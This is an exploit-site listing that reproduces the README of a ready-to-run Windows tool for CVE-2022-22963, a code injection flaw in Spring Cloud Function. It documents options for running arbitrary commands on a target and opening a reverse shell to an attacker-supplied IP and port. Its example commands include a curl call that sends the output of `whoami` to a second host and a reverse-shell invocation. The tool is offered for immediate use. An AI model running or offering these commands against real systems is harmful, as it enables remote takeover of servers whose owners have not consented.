Exploit for Code Injection in Vmware Spring Cloud Function

## https://sploitus.com/exploit?id=72294700-E478-5397-A47A-6098D06CA60A
# CVE-2022-22963 (Spring Cloud Function SpleRCE)  
### Spring Cloud Function One-Click Utilization Tool! By Charis  
#### Blog: https://charis3306.top/  
##### Packaged as an exe file – ready for immediate use.  
#### Command Usage:  
```
usage: Spring-cloud-function-spel0.2.exe [-h] --check CHECK [--route ROUTE] --url URL [--ip IP] [--port PORT] [--proxies PROXIES] [--cmd CMD]
```
**Spring Cloud Function One-Click Utilization Tool! By Charis**. Blog: https://charis3306.top/  

**Options:**  
- `-h`, `--help`: Shows this help message and exits.  
- `--check CHECK`: Determines whether to use POST or GET methods. `--check get; --check post`.  
- `--route ROUTE`: Specifies the route to check. Default is `functionRouter`.  
- `--url URL`: Inputs the URL to be utilized.  
- `--ip IP`: IP address for rebounding the shell.  
- `--port PORT`: Port number for rebounding the shell.  
- `--proxies PROXIES`: Enables proxy.  
- `--cmd CMD`: Command to execute.  

**--check** is a required option.  

**Help Message:**  
```
Spring-cloud-function-spel0.2.exe --help
```
![Image](https://github.com/charis3306/CVE-2022-22963/blob/main/1.png)  

> By default, `--check` is required. `--route` specifies the route where the vulnerability exists. Note that false positives may occur if DNS logging or sleep commands are not used during detection.  
```
Spring-cloud-function-spel0.2.exe --check post --url http://www.charis3306.top
```
![Image](https://github.com/charis3306/CVE-2022-22963/blob/main/2.png)  

##### Verifying Whether the Vulnerability Can Be Exploited:  
```
Spring-cloud-function-spel0.2.exe --check post --url http://192.168.133.136:8080/ --cmd "curl http://192.168.1.3:8080/`whoami`"
```
![Image](https://github.com/charis3306/CVE-2022-22963/blob/main/3.png)  

##### Rebouncing the Shell:  
```
Spring-cloud-function-spel0.2.exe --check post --url http://192.168.133.136:8080/ --ip 192.168.1.3 --port 9999
```
![Image](https://github.com/charis3306/CVE-2022-22963/blob/main/4.png)  

#### If you think this tool is useful, please give it a star.  
#### For issue reports, contact me via email: charis3306@outlook.com